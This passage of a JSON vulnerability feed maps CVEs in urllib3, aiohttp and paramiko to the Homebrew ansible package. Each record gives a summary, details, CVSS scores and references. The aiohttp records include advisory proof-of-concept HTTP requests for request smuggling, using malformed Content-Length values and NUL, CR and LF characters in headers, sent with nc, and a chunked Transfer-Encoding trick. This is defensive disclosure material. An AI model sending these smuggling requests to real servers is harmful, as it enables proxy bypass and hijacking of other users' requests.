QVNAWKAEJJ"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20241213-0007"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-43804-urllib3-vulnerability-3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-45803","published":"2026-08-13T16:35:22Z","modified":"2026-09-30T18:44:09Z","upstream":["GHSA-g4mx-q9vg-27p4","CVE-2023-45803","PYSEC-2023-212"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.0.7","resource":"urllib3","resource_purl":"pkg:pypi/urllib3@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"urllib3","subject_version":"2.8.0","key":"pkg:pypi/urllib3@2.8.0","resource":"urllib3"}]},"summary":"urllib3's request body not stripped after redirect from 303 status changes request method to GET","details":"urllib3 previously wouldn't remove the HTTP request body when an HTTP redirect response using status 303 \"See Other\" after the request had its method changed from one that could accept a request body (like `POST`) to `GET` as is required by HTTP RFCs. Although the behavior of removing the request body is not specified in the section for redirects, it can be inferred by piecing together information from different sections and we have observed the behavior in other major HTTP client implementations like curl and web browsers.\n\nFrom [RFC 9110 Section 9.3.1](https://www.rfc-editor.org/rfc/rfc9110.html#name-get):\n\n> A client SHOULD NOT generate content in a GET request unless it is made directly to an origin server that has previously indicated, in or out of band, that such a request has a purpose and will be adequately supported.\n\n## Affected usages\n\nBecause the vulnerability requires a previously trusted service to become compromised in order to have an impact on confidentiality we believe the exploitability of this vulnerability is low. Additionally, many users aren't putting sensitive data in HTTP request bodies, if this is the case then this vulnerability isn't exploitable.\n\nBoth of the following conditions must be true to be affected by this vulnerability:\n\n* If you're using urllib3 and submitting sensitive information in the HTTP request body (such as form data or JSON)\n* The origin service is compromised and starts redirecting using 303 to a malicious peer or the redirected-to service becomes compromised.\n\n## Remediation\n\nYou can remediate this vulnerability with any of the following steps:\n\n* Upgrade to a patched version of urllib3 (v1.26.18 or v2.0.7)\n* Disable redirects for services that you aren't expecting to respond with redirects with `redirects=False`.\n* Disable automatic redirects with `redirects=False` and handle 303 redirects manually by stripping the HTTP request body.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:A/AC:L/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/urllib3/urllib3/security/advisories/GHSA-g4mx-q9vg-27p4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45803"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e50fbc5db74e32cabd5ccc1ab81fc103adfe0b3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/4e98d57809dacab1cbe625fddeec1a290c478ea9"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/commit/b594c5ceaca38e1ac215f916538fb128e3526a36"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/urllib3/PYSEC-2023-212.yaml"},{"type":"PACKAGE","url":"https://github.com/urllib3/urllib3"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/1.26.18"},{"type":"WEB","url":"https://github.com/urllib3/urllib3/releases/tag/2.0.7"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/12/msg00020.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4R2Y5XK3WALSR3FNAGN7JBYV2B343ZKB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/5F5CUBAN5XMEBVBZPHFITBLMJV5FIJJ5"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PPDPLM6UUMN55ESPQWJFLLIZY4ZKCNRX"},{"type":"WEB","url":"https://www.rfc-editor.org/rfc/rfc9110.html#name-get"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-47627","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-gfw2-4jvh-wgfg","CVE-2023-47627","PYSEC-2023-246"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.6","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP has problems in HTTP parser (the python one, not llhttp)","details":"# Summary\nThe HTTP parser in AIOHTTP has numerous problems with header parsing, which could lead to request smuggling.\nThis parser is only used when `AIOHTTP_NO_EXTENSIONS` is enabled (or not using a prebuilt wheel).\n \n# Details\n\n## Bug 1: Bad parsing of `Content-Length` values\n\n### Description\nRFC 9110 says this:\n> `Content-Length = 1*DIGIT`\n\nAIOHTTP does not enforce this rule, presumably because of an incorrect usage of the builtin `int` constructor. Because the `int` constructor accepts `+` and `-` prefixes, and digit-separating underscores, using `int` to parse CL values leads AIOHTTP to significant misinterpretation.\n\n### Examples\n```\nGET / HTTP/1.1\\r\\n\nContent-Length: -0\\r\\n\n\\r\\n\nX\n```\n```\nGET / HTTP/1.1\\r\\n\nContent-Length: +0_1\\r\\n\n\\r\\n\nX\n```\n\n### Suggested action\nVerify that a `Content-Length` value consists only of ASCII digits before parsing, as the standard requires.\n\n## Bug 2: Improper handling of NUL, CR, and LF in header values\n\n### Description\nRFC 9110 says this:\n> Field values containing CR, LF, or NUL characters are invalid and dangerous, due to the varying ways that implementations might parse and interpret those characters; a recipient of CR, LF, or NUL within a field value MUST either reject the message or replace each of those characters with SP before further processing or forwarding of that message.\n\nAIOHTTP's HTTP parser does not enforce this rule, and will happily process header values containing these three forbidden characters without replacing them with SP.\n### Examples\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\x00alue\\r\\n\n\\r\\n\n```\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\ralue\\r\\n\n\\r\\n\n```\n```\nGET / HTTP/1.1\\r\\n\nHeader: v\\nalue\\r\\n\n\\r\\n\n```\n### Suggested action\nReject all messages with NUL, CR, or LF in a header value. The translation to space thing, while technically allowed, does not seem like a good idea to me.\n\n## Bug 3: Improper stripping of whitespace before colon in HTTP headers\n\n### Description\nRFC 9112 says this:\n> No whitespace is allowed between the field name and colon. In the past, differences in the handling of such whitespace have led to security vulnerabilities in request routing and response handling. A server MUST reject, with a response status code of 400 (Bad Request), any received request message that contains whitespace between a header field name and colon.\n\nAIOHTTP does not enforce this rule, and will simply strip any whitespace before the colon in an HTTP header.\n\n### Example\n```\nGET / HTTP/1.1\\r\\n\nContent-Length : 1\\r\\n\n\\r\\n\nX\n```\n\n### Suggested action\nReject all messages with whitespace before a colon in a header field, as the standard requires.\n\n# PoC\nExample requests are embedded in the previous section. To reproduce these bugs, start an AIOHTTP server without llhttp (i.e. `AIOHTTP_NO_EXTENSIONS=1`) and send the requests given in the previous section. (e.g. by `printf`ing into `nc`)\n\n# Impact\nEach of these bugs can be used for request smuggling.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gfw2-4jvh-wgfg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47627"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/d5c12ba890557a575c313bb3017910d7616fce3d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.8.6"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-246.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FUSJVQ7OQ55RWL4XAX2F5EZ73N4ZSH6U"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VDKQ6HM3KNDU4OQI476ZWT4O7DMSIT35"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQYQL6WV535EEKSNH7KRARLLMOW5WXDM"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-47641","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-xx9p-xxvh-7g8j","CVE-2023-47641","PYSEC-2023-247"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.8.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"Aiohttp has inconsistent interpretation of `Content-Length` vs. `Transfer-Encoding` differing in C and Python fallbacks","details":"### Impact\n\nAiohttp has a security vulnerability regarding the inconsistent interpretation of the http protocol. As we know that HTTP/1.1 is persistent, if we have both Content-Length(CL) and Transfer-Encoding(TE) it can lead to incorrect interpretation of two entities that parse the HTTP and we can poison other sockets with this incorrect interpretation.\n\nA possible Proof-of-Concept (POC) would be a configuration with a reverse proxy(frontend) that accepts both CL and TE headers and aiohttp as backend. As aiohttp parses anything with chunked, we can pass a chunked123 as TE, the frontend entity will ignore this header and will parse Content-Length. I can give a Dockerfile with the configuration if you want.\n\nThe impact of this vulnerability is that it is possible to bypass any proxy rule, poisoning sockets to other users like passing Authentication Headers, also if it is present an Open Redirect (just like CVE-2021-21330) we can combine it to redirect random users to our website and log the request.\n\n\n### References\n\n- https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xx9p-xxvh-7g8j"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-47641"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/f016f0680e4ace6742b03a70cb0382ce86abe371"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.8.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/aiohttp/PYSEC-2023-247.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/02/msg00002.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-48795","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-45x7-px36-x8w8","CVE-2023-48795","GO-2023-2402","PYSEC-2026-1758"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.4.0","resource":"paramiko","resource_purl":"pkg:pypi/paramiko@5.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"paramiko","subject_version":"5.0.0","key":"pkg:pypi/paramiko@5.0.0","resource":"paramiko"}]},"summary":"Prefix Truncation Attack against ChaCha20-Poly1305 and Encrypt-then-MAC aka Terrapin","details":"### Summary\n\nTerrapin is a prefix truncation attack targeting the SSH protocol. More precisely, Terrapin breaks the integrity of SSH's secure channel. By carefully adjusting the sequence numbers during the handshake, an attacker can remove an arbitrary amount of messages sent by the client or server at the beginning of the secure channel without the client or server noticing it.\n\n### Mitigations\n\nTo mitigate this protocol vulnerability, OpenSSH suggested a so-called \"strict kex\" which alters the SSH handshake to ensure a Man-in-the-Middle attacker cannot introduce unauthenticated messages as well as convey sequence number manipulation across handshakes.\n\n**Warning: To take effect, both the client and server must support this countermeasure.** \n\nAs a stop-gap measure, peers may also (temporarily) disable the affected algorithms and use unaffected alternatives like AES-GCM instead until patches are available.\n\n### Details\n\nThe SSH specifications of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (*-etm@openssh.com MACs) are vulnerable against an arbitrary prefix truncation attack (a.k.a. Terrapin attack). This allows for an extension negotiation downgrade by stripping the SSH_MSG_EXT_INFO sent after the first message after SSH_MSG_NEWKEYS, downgrading security, and disabling attack countermeasures in some versions of OpenSSH. When targeting Encrypt-then-MAC, this attack requires the use of a CBC cipher to be practically exploitable due to the internal workings of the cipher mode. Additionally, this novel attack technique can be used to exploit previously unexploitable implementation flaws in a Man-in-the-Middle scenario.\n\nThe attack works by an attacker injecting an arbitrary number of SSH_MSG_IGNORE messages during the initial key exchange and consequently removing the same number of messages just after the initial key exchange has concluded. This is possible due to missing authentication of the excess SSH_MSG_IGNORE messages and the fact that the implicit sequence numbers used within the SSH protocol are only checked after the initial key exchange.\n\nIn the case of ChaCha20-Poly1305, the attack is guaranteed to work on every connection as this cipher does not maintain an internal state other than the message's sequence number. In the case of Encrypt-Then-MAC, practical exploitation requires the use of a CBC cipher; while theoretical integrity is broken for all ciphers when using this mode, message processing will fail at the application layer for CTR and stream ciphers.\n\nFor more details see [https://terrapin-attack.com](https://terrapin-attack.com). \n\n### Impact\n\nThis attack targets the specification of ChaCha20-Poly1305 (chacha20-poly1305@openssh.com) and Encrypt-then-MAC (*-etm@openssh.com), which are widely adopted by well-known SSH implementations and can be considered de-facto standard. These algorithms can be practically exploited; however, in the case of Encrypt-Then-MAC, we additionally require the use of a CBC cipher. As a consequence, this attack works against all well-behaving SSH implementations supporting either of those algorithms and can be used to downgrade (but not fully strip) connection security in case SSH extension negotiation (RFC8308) is supported. The attack may also enable attackers to exploit certain implementation flaws in a man-in-the-middle (MitM) scenario.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N"}],"references":[{"type":"WEB","url":"https://github.com/warp-tech/russh/security/advisories/GHSA-45x7-px36-x8w8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-48795"},{"type":"WEB","url":"https://github.com/ssh-mitm/ssh-mitm/issues/165"},{"type":"WEB","url":"https://github.com/hierynomus/sshj/issues/916"},{"type":"WEB","url":"https://github.com/janmojzis/tinyssh/issues/81"},{"type":"WEB","url":"https://github.com/cyd01/KiTTY/issues/520"},{"type":"WEB","url":"https://github.com/proftpd/proftpd/issues/456"},{"type":"WEB","url":"https://github.com/apache/mina-sshd/issues/445"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/issues/2337#issuecomment-1887642773"},{"type":"WEB","url":"https://github.com/paramiko/paramiko/issues/2337"},{"type":"WEB","url":"https://github.com/PowerShell/Win32-OpenSSH/issues/2189"},{"type":"WEB","url":"https://github.com/mwiede/jsch/issues/457"},{"type":"WEB","url":"https://github.com/libssh2/libssh2/pull/1291"},{"type":"WEB","url":"https://github.com/NixOS/nixpkgs/pull/275249"},{"type":"WEB","url":"https://github.com/mwiede/jsch/pull/461"},{"type":"WEB","url":"https://github.com/TeraTermProject/teraterm/commit/7279fbd6ef4d0c8bdd6a90af4ada2899d786eec0"},{"type":"WEB","url":"https://github.com/mscdex/ssh2/commit/97b223f8891b96d6fc054df5ab1d5a1a545da2a3"},{"type":"WEB","url":"https://github.com/connectbot/sshlib/commit/5c8b534f6e97db7ac0e0e579331213aa25c173ab"},{"type":"WEB","url":"https://github.com/jtesta/ssh-audit/commit/8e972c5e94b460379fe0c7d20209c16df81538a5"},{"type":"WEB","url":"https://github.com/warp-tech/russh/commit/1aa340a7df1d5be1c0f4a9e247aade76dfdd2951"},{"type":"WEB","url":"https://github.com/golang/crypto/commit/9d2ee975ef9fe627bf0a6f01c1f69e8ef1d4f05d"},{"type":"WEB","url":"https://oryx-embedded.com/download/#changelog"},{"type":"WEB","url":"https://nova.app/releases/#v11.8"},{"type":"WEB","url":"https://news.ycombinator.com/item?id=38732005"},{"type":"WEB","url":"https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0002"},{"type":"WEB","url":"https://roumenpetrov.info/secsh/#news20231220"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/CVE-2023-48795"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/source-package/libssh2"},{"type":"WEB","url":"https://github.com/ronf/asyncssh/blob/develop/docs/changes.rst"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KMZCVGUGJZZVDPCVDA7TEB22VUCNEXDD"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/L5Y6MNNVAPIJSXJERQ6PKZVCIUXSNJK7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LZQVUHWVWRH73YBXUQJOD6CKHDQBU3DM"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MKQRBF3DWMWPH36LBCOBUTSIZRTPEZXB"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QI3EHAHABFQK7OABNCSF5GMYP6TONTI7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/33XHJUB6ROFUOH2OQNENFROTVH6MHSHA"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3JIMLVBDWOP4FUPXPTB4PGHHIOMGFLQE"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3YQLUQWLIHDB5QCXQEX7HXHAWMOKPP5O"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6Y74KVCPEPT4MVU3LHDWCNNOXOE5ZLUR"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/APYIXIQOVDCRWLHTGB4VYMAUIAQLKYJ3"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/C3AFMZ6MH2UHHOPIWT5YLSFV3D2VB3AC"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HYEDEXIKFKTUJIN43RG4B7T5ZS6MHUSP"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I724O3LSRCPO4WNVIXTZCT4VVRMXMMSG"},{"type":"WEB","url":"https://matt.ucc.asn.au/dropbear/CHANGES"},{"type":"WEB","url":"https://nest.pijul.com/pijul/thrussh/changes/D6H7OWTTMHHX6BTB3B6MNBOBX2L66CBL4LGSEUSAI2MCRCJDQFRQC"},{"type":"WEB","url":"https://news.ycombinator.com/item?id=38684904"},{"type":"WEB","url":"https://news.ycombinator.com/item?id=38685286"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-48795-mitigate-openssh-vulnerability"},{"type":"WEB","url":"https://www.vicarius.io/vsociety/posts/cve-2023-48795-detect-openssh-vulnerabilit"},{"type":"WEB","url":"https://www.vandyke.com/products/securecrt/history.txt"},{"type":"WEB","url":"https://www.theregister.com/2023/12/20/terrapin_attack_ssh"},{"type":"WEB","url":"https://www.terrapin-attack.com"},{"type":"WEB","url":"https://www.suse.com/c/suse-addresses-the-ssh-v2-protocol-terrapin-attack-aka-cve-2023-48795"},{"type":"WEB","url":"https://www.reddit.com/r/sysadmin/comments/18idv52/cve202348795_why_is_this_cve_still_undisclosed"},{"type":"WEB","url":"https://www.paramiko.org/changelog.html"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2023/12/20/3"},{"type":"WEB","url":"https://www.openwall.com/lists/oss-security/2023/12/18/2"},{"type":"WEB","url":"https://www.openssh.com/txt/release-9.6"},{"type":"WEB","url":"https://www.openssh.com/openbsd.html"},{"type":"WEB","url":"https://www.netsarang.com/en/xshell-update-history"},{"type":"WEB","url":"https://www.lancom-systems.de/service-support/allgemeine-sicherheitshinweise#c243508"},{"type":"WEB","url":"https://www.freebsd.org/security/advisories/FreeBSD-SA-23:19.openssh.asc"},{"type":"WEB","url":"https://www.debian.org/security/2023/dsa-5588"},{"type":"WEB","url":"https://www.debian.org/security/2023/dsa-5586"},{"type":"WEB","url":"https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update"},{"type":"WEB","url":"https://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html"},{"type":"WEB","url":"https://www.bitvise.com/ssh-server-version-history"},{"type":"WEB","url":"https://www.bitvise.com/ssh-client-version-history#933"},{"type":"WEB","url":"https://winscp.net/eng/docs/history#6.2.2"},{"type":"WEB","url":"https://ubuntu.com/security/CVE-2023-48795"},{"type":"WEB","url":"https://twitter.com/TrueSkrillor/status/1736774389725565005"},{"type":"WEB","url":"https://thorntech.com/cve-2023-48795-and-sftp-gateway"},{"type":"WEB","url":"https://support.apple.com/kb/HT214084"},{"type":"WEB","url":"https://security.netapp.com/advisory/ntap-20240105-0004"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202312-17"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202312-16"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/source-package/trilead-ssh2"},{"type":"WEB","url":"https://security-tracker.debian.org/tracker/source-package/proftpd-dfsg"},{"type":"WEB","url":"https://github.com/rapier1/hpn-ssh/releases"},{"type":"WEB","url":"https://github.com/proftpd/proftpd/blob/master/RELEASE_NOTES"},{"type":"WEB","url":"https://github.com/proftpd/proftpd/blob/d21e7a2e47e9b38f709bec58e3fa711f759ad0e1/RELEASE_NOTES"},{"type":"WEB","url":"https://github.com/proftpd/proftpd/blob/0a7ea9b0ba9fcdf368374a226370d08f10397d99/RELEASE_NOTES"},{"type":"WEB","url":"https://github.com/openssh/openssh-portable/commits/master"},{"type":"WEB","url":"https://github.com/net-ssh/net-ssh/blob/2e65064a52d73396bfc3806c9196fc8108f33cd8/CHANGES.txt#L14-L16"},{"type":"WEB","url":"https://github.com/mwiede/jsch/compare/jsch-0.2.14...jsch-0.2.15"},{"type":"WEB","url":"https://github.com/mkj/dropbear/blob/17657c36cce6df7716d5ff151ec09a665382d5dd/CHANGES#L25"},{"type":"WEB","url":"https://github.com/erlang/otp/releases/tag/OTP-26.2.1"},{"type":"WEB","url":"https://github.com/erlang/otp/blob/d1b43dc0f1361d2ad67601169e90a7fc50bb0369/lib/ssh/doc/src/notes.xml#L39-L42"},{"type":"WEB","url":"https://github.com/drakkan/sftpgo/releases/tag/v2.5.6"},{"type":"WEB","url":"https://github.com/connectbot/sshlib/compare/2.2.21...2.2.22"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-45x7-px36-x8w8"},{"type":"WEB","url":"https://github.com/TeraTermProject/teraterm/releases/tag/v5.1"},{"type":"WEB","url":"https://github.com/PowerShell/Win32-OpenSSH/releases/tag/v9.5.0.0p1-Beta"},{"type":"WEB","url":"https://git.libssh.org/projects/libssh.git/commit/?h=stable-0.10&id=10e09e273f69e149389b3e0e5d44b8c221c2e7f6"},{"type":"WEB","url":"https://forum.netgate.com/topic/184941/terrapin-ssh-attack"},{"type":"WEB","url":"https://filezilla-project.org/versions.php"},{"type":"WEB","url":"https://crates.io/crates/thrussh/versions"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-915275.html"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-794697.html"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-769027.html"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-364175.html"},{"type":"WEB","url":"https://cert-portal.siemens.com/productcert/html/ssa-082556.html"},{"type":"WEB","url":"https://bugzilla.suse.com/show_bug.cgi?id=1217950"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2254210"},{"type":"WEB","url":"https://bugs.gentoo.org/920280"},{"type":"WEB","url":"https://arstechnica.com/security/2023/12/hackers-can-break-ssh-channel-integrity-using-novel-data-corruption-attack"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2023-48795"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KEOTKBUPZXHE3F352JBYNTSNRXYLWD6P"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/F7EYCFQCTSGJXWO3ZZ44MGKFC5HA7G3Y"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CHHITS4PUOZAKFIUBQAQZC7JWXMOYE4B"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BL5KTLOSLH2KHRN4HCXJPK3JUVLDGEL6"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3CAYYW35MUTNO65RVAELICTNZZFMT2XS"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2025/04/msg00028.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/11/msg00032.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/04/msg00016.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/01/msg00014.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2024/01/msg00013.html"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00017.html"},{"type":"WEB","url":"https://jadaptive.com/important-java-ssh-security-update-new-ssh-vulnerability-discovered-cve-2023-48795"},{"type":"WEB","url":"https://help.panic.com/releasenotes/transmit5"},{"type":"WEB","url":"https://groups.google.com/g/golang-announce/c/qA3XtxvMUyg"},{"type":"WEB","url":"https://groups.google.com/g/golang-announce/c/-n5WqVC18LQ"},{"type":"WEB","url":"https://go.dev/issue/64784"},{"type":"WEB","url":"https://go.dev/cl/550715"},{"type":"WEB","url":"https://gitlab.com/libssh/libssh-mirror/-/tags"},{"type":"WEB","url":"https://github.com/warp-tech/russh/releases/tag/v0.40.2"},{"type":"PACKAGE","url":"https://github.com/warp-tech/russh"},{"type":"WEB","url":"https://github.com/ronf/asyncssh/tags"},{"type":"WEB","url":"http://packetstormsecurity.com/files/176280/Terrapin-SSH-Connection-Weakening.html"},{"type":"WEB","url":"http://seclists.org/fulldisclosure/2024/Mar/21"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2023/12/18/3"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2023/12/19/5"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2023/12/20/3"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/03/06/3"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2024/04/17/8"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2023-49081","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:05Z","upstream":["GHSA-q3qx-c6g2-7pw2","CVE-2023-49081","PYSEC-2023-250"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"14.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.9.0","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"aiohttp's ClientSession is vulnerable to CRLF injection via version","details":"### Summary\nImproper validation make it possible for an attacker to modify the HTTP request (e.g. to insert a new header) or even create a new HTTP request if the attacker controls the HTTP version.\n\n### Details\nThe vulnerability only occurs if the attacker can control the HTTP version of the request (including its type).\nFor example if an unvalidated JSON value is used as a version and the attacker is then able to pass an array as the `version` parameter.\nFurthermore, the vulnerability only occurs when the `Connection` header is passed 